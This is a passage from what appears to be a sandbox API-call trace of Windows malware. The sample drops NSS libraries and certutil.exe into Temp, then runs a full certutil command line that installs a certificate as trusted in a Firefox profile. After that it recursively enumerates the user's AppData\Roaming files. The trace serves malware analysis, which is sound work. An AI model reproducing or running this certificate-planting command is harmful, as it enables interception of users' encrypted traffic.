lpBuffer=0x52f6e88*, nNumberOfBytesToWrite=0xbcf50, lpNumberOfBytesWritten=0x2a6ebdc, lpOverlapped=0x0 | out: lpBuffer=0x52f6e88*, lpNumberOfBytesWritten=0x2a6ebdc*=0xbcf50, lpOverlapped=0x0) returned 1 [0117.933] CloseHandle (hObject=0x448) returned 1 [0117.939] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x53b3dd8, cbMultiByte=8, lpWideCharStr=0x86e4e0, cchWideChar=9 | out: lpWideCharStr="nss3.dll") returned 8 [0117.939] wvnsprintfW (in: pszDest=0x2a6ec14, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6ec08 | out: pszDest="C:\\Users\\ADU0VK~1\\AppData\\Local\\Temp\\nss3.dll") returned 45 [0117.939] CreateFileW (lpFileName="C:\\Users\\ADU0VK~1\\AppData\\Local\\Temp\\nss3.dll" (normalized: "c:\\users\\adu0vk~1\\appdata\\local\\temp\\nss3.dll"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x448 [0117.939] WriteFile (in: hFile=0x448, lpBuffer=0x53b3de5*, nNumberOfBytesToWrite=0xc3000, lpNumberOfBytesWritten=0x2a6ebdc, lpOverlapped=0x0 | out: lpBuffer=0x53b3de5*, lpNumberOfBytesWritten=0x2a6ebdc*=0xc3000, lpOverlapped=0x0) returned 1 [0117.947] CloseHandle (hObject=0x448) returned 1 [0117.953] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x5476de5, cbMultiByte=11, lpWideCharStr=0x8b64c0, cchWideChar=12 | out: lpWideCharStr="nssdbm3.dll") returned 11 [0117.953] wvnsprintfW (in: pszDest=0x2a6ec14, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6ec08 | out: pszDest="C:\\Users\\ADU0VK~1\\AppData\\Local\\Temp\\nssdbm3.dll") returned 48 [0117.953] CreateFileW (lpFileName="C:\\Users\\ADU0VK~1\\AppData\\Local\\Temp\\nssdbm3.dll" (normalized: "c:\\users\\adu0vk~1\\appdata\\local\\temp\\nssdbm3.dll"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x448 [0117.954] WriteFile (in: hFile=0x448, lpBuffer=0x5476df5*, nNumberOfBytesToWrite=0x1a800, lpNumberOfBytesWritten=0x2a6ebdc, lpOverlapped=0x0 | out: lpBuffer=0x5476df5*, lpNumberOfBytesWritten=0x2a6ebdc*=0x1a800, lpOverlapped=0x0) returned 1 [0117.955] CloseHandle (hObject=0x448) returned 1 [0117.957] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x54915f5, cbMultiByte=12, lpWideCharStr=0x8b64c0, cchWideChar=13 | out: lpWideCharStr="nssutil3.dll") returned 12 [0117.957] wvnsprintfW (in: pszDest=0x2a6ec14, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6ec08 | out: pszDest="C:\\Users\\ADU0VK~1\\AppData\\Local\\Temp\\nssutil3.dll") returned 49 [0117.957] CreateFileW (lpFileName="C:\\Users\\ADU0VK~1\\AppData\\Local\\Temp\\nssutil3.dll" (normalized: "c:\\users\\adu0vk~1\\appdata\\local\\temp\\nssutil3.dll"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x448 [0117.957] WriteFile (in: hFile=0x448, lpBuffer=0x5491606*, nNumberOfBytesToWrite=0x16e00, lpNumberOfBytesWritten=0x2a6ebdc, lpOverlapped=0x0 | out: lpBuffer=0x5491606*, lpNumberOfBytesWritten=0x2a6ebdc*=0x16e00, lpOverlapped=0x0) returned 1 [0117.959] CloseHandle (hObject=0x448) returned 1 [0117.960] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x54a8406, cbMultiByte=10, lpWideCharStr=0x8b64c0, cchWideChar=11 | out: lpWideCharStr="smime3.dll") returned 10 [0117.960] wvnsprintfW (in: pszDest=0x2a6ec14, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6ec08 | out: pszDest="C:\\Users\\ADU0VK~1\\AppData\\Local\\Temp\\smime3.dll") returned 47 [0117.960] CreateFileW (lpFileName="C:\\Users\\ADU0VK~1\\AppData\\Local\\Temp\\smime3.dll" (normalized: "c:\\users\\adu0vk~1\\appdata\\local\\temp\\smime3.dll"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x448 [0117.960] WriteFile (in: hFile=0x448, lpBuffer=0x54a8415*, nNumberOfBytesToWrite=0x17e00, lpNumberOfBytesWritten=0x2a6ebdc, lpOverlapped=0x0 | out: lpBuffer=0x54a8415*, lpNumberOfBytesWritten=0x2a6ebdc*=0x17e00, lpOverlapped=0x0) returned 1 [0117.961] CloseHandle (hObject=0x448) returned 1 [0117.962] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x54c0215, cbMultiByte=12, lpWideCharStr=0x8b64c0, cchWideChar=13 | out: lpWideCharStr="softokn3.dll") returned 12 [0117.962] wvnsprintfW (in: pszDest=0x2a6ec14, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6ec08 | out: pszDest="C:\\Users\\ADU0VK~1\\AppData\\Local\\Temp\\softokn3.dll") returned 49 [0117.962] CreateFileW (lpFileName="C:\\Users\\ADU0VK~1\\AppData\\Local\\Temp\\softokn3.dll" (normalized: "c:\\users\\adu0vk~1\\appdata\\local\\temp\\softokn3.dll"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x448 [0117.963] WriteFile (in: hFile=0x448, lpBuffer=0x54c0226*, nNumberOfBytesToWrite=0x2a200, lpNumberOfBytesWritten=0x2a6ebdc, lpOverlapped=0x0 | out: lpBuffer=0x54c0226*, lpNumberOfBytesWritten=0x2a6ebdc*=0x2a200, lpOverlapped=0x0) returned 1 [0117.965] CloseHandle (hObject=0x448) returned 1 [0117.966] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x54ea426, cbMultiByte=11, lpWideCharStr=0x8b64c0, cchWideChar=12 | out: lpWideCharStr="sqlite3.dll") returned 11 [0117.966] wvnsprintfW (in: pszDest=0x2a6ec14, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6ec08 | out: pszDest="C:\\Users\\ADU0VK~1\\AppData\\Local\\Temp\\sqlite3.dll") returned 48 [0117.966] CreateFileW (lpFileName="C:\\Users\\ADU0VK~1\\AppData\\Local\\Temp\\sqlite3.dll" (normalized: "c:\\users\\adu0vk~1\\appdata\\local\\temp\\sqlite3.dll"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x448 [0117.967] WriteFile (in: hFile=0x448, lpBuffer=0x54ea436*, nNumberOfBytesToWrite=0x67800, lpNumberOfBytesWritten=0x2a6ebdc, lpOverlapped=0x0 | out: lpBuffer=0x54ea436*, lpNumberOfBytesWritten=0x2a6ebdc*=0x67800, lpOverlapped=0x0) returned 1 [0117.971] CloseHandle (hObject=0x448) returned 1 [0117.974] GetTickCount () returned 0x24623 [0117.974] GetTickCount () returned 0x24623 [0117.974] GetTickCount () returned 0x24623 [0117.974] GetTickCount () returned 0x24623 [0117.974] GetTickCount () returned 0x24623 [0117.974] GetTickCount () returned 0x24623 [0117.974] GetTickCount () returned 0x24623 [0117.974] GetTickCount () returned 0x24623 [0117.974] GetTickCount () returned 0x24623 [0117.974] wvnsprintfW (in: pszDest=0x2a6eef0, cchDest=260, pszFmt="\"%s\\certutil.exe\" -A -n \"%s\" -t \"C,C,C\" -i \"%s\" -d \"%s\"", arglist=0x2a6ee5c | out: pszDest="\"C:\\Users\\ADU0VK~1\\AppData\\Local\\Temp\\certutil.exe\" -A -n \"yvesl\" -t \"C,C,C\" -i \"C:\\Users\\ADU0VK~1\\AppData\\Local\\Temp\\okguaxb.crt\" -d \"C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\"") returned 217 [0117.974] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="\"C:\\Users\\ADU0VK~1\\AppData\\Local\\Temp\\certutil.exe\" -A -n \"yvesl\" -t \"C,C,C\" -i \"C:\\Users\\ADU0VK~1\\AppData\\Local\\Temp\\okguaxb.crt\" -d \"C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\"", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0xc000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x2a6ede0*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x2a6edd0 | out: lpCommandLine="\"C:\\Users\\ADU0VK~1\\AppData\\Local\\Temp\\certutil.exe\" -A -n \"yvesl\" -t \"C,C,C\" -i \"C:\\Users\\ADU0VK~1\\AppData\\Local\\Temp\\okguaxb.crt\" -d \"C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\"", lpProcessInformation=0x2a6edd0*(hProcess=0x430, hThread=0x448, dwProcessId=0x8e8, dwThreadId=0x8ec)) returned 1 [0118.063] CloseHandle (hObject=0x448) returned 1 [0118.063] CloseHandle (hObject=0x430) returned 1 [0118.243] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x3e8) returned 0x102 [0119.296] wvnsprintfW (in: pszDest=0x2a6f140, cchDest=260, pszFmt="%s\\*", arglist=0x2a6eccc | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\*") returned 41 [0119.296] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\*", lpFindFileData=0x2a6eef0 | out: lpFindFileData=0x2a6eef0) returned 0x85b1a0 [0119.296] FindNextFileW (in: hFindFile=0x85b1a0, lpFindFileData=0x2a6eef0 | out: lpFindFileData=0x2a6eef0) returned 1 [0119.296] FindNextFileW (in: hFindFile=0x85b1a0, lpFindFileData=0x2a6eef0 | out: lpFindFileData=0x2a6eef0) returned 1 [0119.296] wvnsprintfW (in: pszDest=0x2a6ece8, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6eccc | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\05oewX0nTg7og.odt") returned 57 [0119.296] FindNextFileW (in: hFindFile=0x85b1a0, lpFindFileData=0x2a6eef0 | out: lpFindFileData=0x2a6eef0) returned 1 [0119.296] wvnsprintfW (in: pszDest=0x2a6ece8, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6eccc | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\0c6f.odp") returned 48 [0119.296] FindNextFileW (in: hFindFile=0x85b1a0, lpFindFileData=0x2a6eef0 | out: lpFindFileData=0x2a6eef0) returned 1 [0119.296] wvnsprintfW (in: pszDest=0x2a6ece8, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6eccc | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\0yTpACI.mp3") returned 51 [0119.296] FindNextFileW (in: hFindFile=0x85b1a0, lpFindFileData=0x2a6eef0 | out: lpFindFileData=0x2a6eef0) returned 1 [0119.296] wvnsprintfW (in: pszDest=0x2a6ece8, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6eccc | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\1AuteqdBfZ5_r_d4hu.pdf") returned 62 [0119.296] FindNextFileW (in: hFindFile=0x85b1a0, lpFindFileData=0x2a6eef0 | out: lpFindFileData=0x2a6eef0) returned 1 [0119.296] wvnsprintfW (in: pszDest=0x2a6ece8, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6eccc | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\1kQkWQKctU4Do4q.wav") returned 59 [0119.296] FindNextFileW (in: hFindFile=0x85b1a0, lpFindFileData=0x2a6eef0 | out: lpFindFileData=0x2a6eef0) returned 1 [0119.296] wvnsprintfW (in: pszDest=0x2a6ece8, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6eccc | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\5mZuS5LT8jNy.ppt") returned 56 [0119.296] FindNextFileW (in: hFindFile=0x85b1a0, lpFindFileData=0x2a6eef0 | out: lpFindFileData=0x2a6eef0) returned 1 [0119.296] wvnsprintfW (in: pszDest=0x2a6ece8, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6eccc | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Adobe") returned 45 [0119.296] wvnsprintfW (in: pszDest=0x2a6ea78, cchDest=260, pszFmt="%s\\*", arglist=0x2a6e604 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Adobe\\*") returned 47 [0119.296] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Adobe\\*", lpFindFileData=0x2a6e828 | out: lpFindFileData=0x2a6e828) returned 0x85b220 [0119.296] FindNextFileW (in: hFindFile=0x85b220, lpFindFileData=0x2a6e828 | out: lpFindFileData=0x2a6e828) returned 1 [0119.296] FindNextFileW (in: hFindFile=0x85b220, lpFindFileData=0x2a6e828 | out: lpFindFileData=0x2a6e828) returned 1 [0119.296] wvnsprintfW (in: pszDest=0x2a6e620, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6e604 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Adobe\\Acrobat") returned 53 [0119.296] wvnsprintfW (in: pszDest=0x2a6e3b0, cchDest=260, pszFmt="%s\\*", arglist=0x2a6df3c | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Adobe\\Acrobat\\*") returned 55 [0119.296] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Adobe\\Acrobat\\*", lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 0x85b260 [0119.297] FindNextFileW (in: hFindFile=0x85b260, lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 1 [0119.297] FindNextFileW (in: hFindFile=0x85b260, lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 1 [0119.297] wvnsprintfW (in: pszDest=0x2a6df58, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6df3c | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Adobe\\Acrobat\\10.0") returned 58 [0119.297] wvnsprintfW (in: pszDest=0x2a6dce8, cchDest=260, pszFmt="%s\\*", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\*") returned 60 [0119.297] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\*", lpFindFileData=0x2a6da98 | out: lpFindFileData=0x2a6da98) returned 0x85b2a0 [0119.297] FindNextFileW (in: hFindFile=0x85b2a0, lpFindFileData=0x2a6da98 | out: lpFindFileData=0x2a6da98) returned 1 [0119.297] FindNextFileW (in: hFindFile=0x85b2a0, lpFindFileData=0x2a6da98 | out: lpFindFileData=0x2a6da98) returned 1 [0119.297] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Collab") returned 65 [0119.297] wvnsprintfW (in: pszDest=0x2a6d620, cchDest=260, pszFmt="%s\\*", arglist=0x2a6d1ac | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Collab\\*") returned 67 [0119.297] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Collab\\*", lpFindFileData=0x2a6d3d0 | out: lpFindFileData=0x2a6d3d0) returned 0x85b2e0 [0119.297] FindNextFileW (in: hFindFile=0x85b2e0, lpFindFileData=0x2a6d3d0 | out: lpFindFileData=0x2a6d3d0) returned 1 [0119.297] FindNextFileW (in: hFindFile=0x85b2e0, lpFindFileData=0x2a6d3d0 | out: lpFindFileData=0x2a6d3d0) returned 0 [0119.297] FindClose (in: hFindFile=0x85b2e0 | out: hFindFile=0x85b2e0) returned 1 [0119.299] FindNextFileW (in: hFindFile=0x85b2a0, lpFindFileData=0x2a6da98 | out: lpFindFileData=0x2a6da98) returned 1 [0119.299] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Forms") returned 64 [0119.299] wvnsprintfW (in: pszDest=0x2a6d620, cchDest=260, pszFmt="%s\\*", arglist=0x2a6d1ac | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Forms\\*") returned 66 [0119.299] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Forms\\*", lpFindFileData=0x2a6d3d0 | out: lpFindFileData=0x2a6d3d0) returned 0x85b2e0 [0119.299] FindNextFileW (in: hFindFile=0x85b2e0, lpFindFileData=0x2a6d3d0 | out: lpFindFileData=0x2a6d3d0) returned 1 [0119.300] FindNextFileW (in: hFindFile=0x85b2e0, lpFindFileData=0x2a6d3d0 | out: lpFindFileData=0x2a6d3d0) returned 0 [0119.300] FindClose (in: hFindFile=0x85b2e0 | out: hFindFile=0x85b2e0) returned 1 [0119.300] FindNextFileW (in: hFindFile=0x85b2a0, lpFindFileData=0x2a6da98 | out: lpFindFileData=0x2a6da98) returned 1 [0119.300] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts") returned 70 [0119.300] wvnsprintfW (in: pszDest=0x2a6d620, cchDest=260, pszFmt="%s\\*", arglist=0x2a6d1ac | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\*") returned 72 [0119.300] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\*", lpFindFileData=0x2a6d3d0 | out: lpFindFileData=0x2a6d3d0) returned 0x85b2e0 [0119.300] FindNextFileW (in: hFindFile=0x85b2e0, lpFindFileData=0x2a6d3d0 | out: lpFindFileData=0x2a6d3d0) returned 1 [0119.300] FindNextFileW (in: hFindFile=0x85b2e0, lpFindFileData=0x2a6d3d0 | out: lpFindFileData=0x2a6d3d0) returned 1 [0119.300] wvnsprintfW (in: pszDest=0x2a6d1c8, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d1ac | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\glob.js") returned 78 [0119.300] FindNextFileW (in: hFindFile=0x85b2e0, lpFindFileData=0x2a6d3d0 | out: lpFindFileData=0x2a6d3d0) returned 1 [0119.300] wvnsprintfW (in: pszDest=0x2a6d1c8, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d1ac | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\glob.settings.js") returned 87 [0119.300] FindNextFileW (in: hFindFile=0x85b2e0, lpFindFileData=0x2a6d3d0 | out: lpFindFileData=0x2a6d3d0) returned 0 [0119.300] FindClose (in: hFindFile=0x85b2e0 | out: hFindFile=0x85b2e0) returned 1 [0119.300] FindNextFileW (in: hFindFile=0x85b2a0, lpFindFileData=0x2a6da98 | out: lpFindFileData=0x2a6da98) returned 1 [0119.300] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security") returned 67 [0119.300] wvnsprintfW (in: pszDest=0x2a6d620, cchDest=260, pszFmt="%s\\*", arglist=0x2a6d1ac | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\*") returned 69 [0119.300] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\*", lpFindFileData=0x2a6d3d0 | out: lpFindFileData=0x2a6d3d0) returned 0x85b2e0 [0119.300] FindNextFileW (in: hFindFile=0x85b2e0, lpFindFileData=0x2a6d3d0 | out: lpFindFileData=0x2a6d3d0) returned 1 [0119.300] FindNextFileW (in: hFindFile=0x85b2e0, lpFindFileData=0x2a6d3d0 | out: lpFindFileData=0x2a6d3d0) returned 1 [0119.300] wvnsprintfW (in: pszDest=0x2a6d1c8, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d1ac | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\addressbook.acrodata") returned 88 [0119.300] FindNextFileW (in: hFindFile=0x85b2e0, lpFindFileData=0x2a6d3d0 | out: lpFindFileData=0x2a6d3d0) returned 1 [0119.300] wvnsprintfW (in: pszDest=0x2a6d1c8, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d1ac | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\CRLCache") returned 76 [0119.300] wvnsprintfW (in: pszDest=0x2a6cf58, cchDest=260, pszFmt="%s\\*", arglist=0x2a6cae4 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\CRLCache\\*") returned 78 [0119.300] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\CRLCache\\*", lpFindFileData=0x2a6cd08 | out: lpFindFileData=0x2a6cd08) returned 0x85b320 [0119.300] FindNextFileW (in: hFindFile=0x85b320, lpFindFileData=0x2a6cd08 | out: lpFindFileData=0x2a6cd08) returned 1 [0119.300] FindNextFileW (in: hFindFile=0x85b320, lpFindFileData=0x2a6cd08 | out: lpFindFileData=0x2a6cd08) returned 1 [0119.300] wvnsprintfW (in: pszDest=0x2a6cb00, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6cae4 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\CRLCache\\48B76449F3D5FEFA1133AA805E420F0FCA643651.crl") returned 121 [0119.300] FindNextFileW (in: hFindFile=0x85b320, lpFindFileData=0x2a6cd08 | out: lpFindFileData=0x2a6cd08) returned 1 [0119.300] wvnsprintfW (in: pszDest=0x2a6cb00, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6cae4 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\CRLCache\\A9B8213768ADC68AF64FCC6409E8BE414726687F.crl") returned 121 [0119.300] FindNextFileW (in: hFindFile=0x85b320, lpFindFileData=0x2a6cd08 | out: lpFindFileData=0x2a6cd08) returned 0 [0119.300] FindClose (in: hFindFile=0x85b320 | out: hFindFile=0x85b320) returned 1 [0119.300] FindNextFileW (in: hFindFile=0x85b2e0, lpFindFileData=0x2a6d3d0 | out: lpFindFileData=0x2a6d3d0) returned 0 [0119.300] FindClose (in: hFindFile=0x85b2e0 | out: hFindFile=0x85b2e0) returned 1 [0119.300] FindNextFileW (in: hFindFile=0x85b2a0, lpFindFileData=0x2a6da98 | out: lpFindFileData=0x2a6da98) returned 0 [0119.301] FindClose (in: hFindFile=0x85b2a0 | out: hFindFile=0x85b2a0) returned 1 [0119.301] FindNextFileW (in: hFindFile=0x85b260, lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 0 [0119.301] FindClose (in: hFindFile=0x85b260 | out: hFindFile=0x85b260) returned 1 [0119.301] FindNextFileW (in: hFindFile=0x85b220, lpFindFileData=0x2a6e828 | out: lpFindFileData=0x2a6e828) returned 1 [0119.301] wvnsprintfW (in: pszDest=0x2a6e620, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6e604 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Adobe\\Flash Player") returned 58 [0119.301] wvnsprintfW (in: pszDest=0x2a6e3b0, cchDest=260, pszFmt="%s\\*", arglist=0x2a6df3c | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Adobe\\Flash Player\\*") returned 60 [0119.301] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Adobe\\Flash Player\\*", lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 0x85b260 [0119.301] FindNextFileW (in: hFindFile=0x85b260, lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 1 [0119.301] FindNextFileW (in: hFindFile=0x85b260, lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 1 [0119.301] wvnsprintfW (in: pszDest=0x2a6df58, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6df3c | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache") returned 69 [0119.301] wvnsprintfW (in: pszDest=0x2a6dce8, cchDest=260, pszFmt="%s\\*", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\*") returned 71 [0119.301] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\*", lpFindFileData=0x2a6da98 | out: lpFindFileData=0x2a6da98) returned 0x85b2a0 [0119.301] FindNextFileW (in: hFindFile=0x85b2a0, lpFindFileData=0x2a6da98 | out: lpFindFileData=0x2a6da98) returned 1 [0119.301] FindNextFileW (in: hFindFile=0x85b2a0, lpFindFileData=0x2a6da98 | out: lpFindFileData=0x2a6da98) returned 0 [0119.301] FindClose (in: hFindFile=0x85b2a0 | out: hFindFile=0x85b2a0) returned 1 [0119.301] FindNextFileW (in: hFindFile=0x85b260, lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 0 [0119.301] FindClose (in: hFindFile=0x85b260 | out: hFindFile=0x85b260) returned 1 [0119.301] FindNextFileW (in: hFindFile=0x85b220, lpFindFileData=0x2a6e828 | out: lpFindFileData=0x2a6e828) returned 1 [0119.301] wvnsprintfW (in: pszDest=0x2a6e620, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6e604 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Adobe\\Headlights") returned 56 [0119.301] wvnsprintfW (in: pszDest=0x2a6e3b0, cchDest=260, pszFmt="%s\\*", arglist=0x2a6df3c | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Adobe\\Headlights\\*") returned 58 [0119.301] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Adobe\\Headlights\\*", lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 0x85b260 [0119.301] FindNextFileW (in: hFindFile=0x85b260, lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 1 [0119.302] FindNextFileW (in: hFindFile=0x85b260, lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 0 [0119.302] FindClose (in: hFindFile=0x85b260 | out: hFindFile=0x85b260) returned 1 [0119.302] FindNextFileW (in: hFindFile=0x85b220, lpFindFileData=0x2a6e828 | out: lpFindFileData=0x2a6e828) returned 1 [0119.302] wvnsprintfW (in: pszDest=0x2a6e620, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6e604 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Adobe\\Linguistics") returned 57 [0119.302] wvnsprintfW (in: pszDest=0x2a6e3b0, cchDest=260, pszFmt="%s\\*", arglist=0x2a6df3c | out: 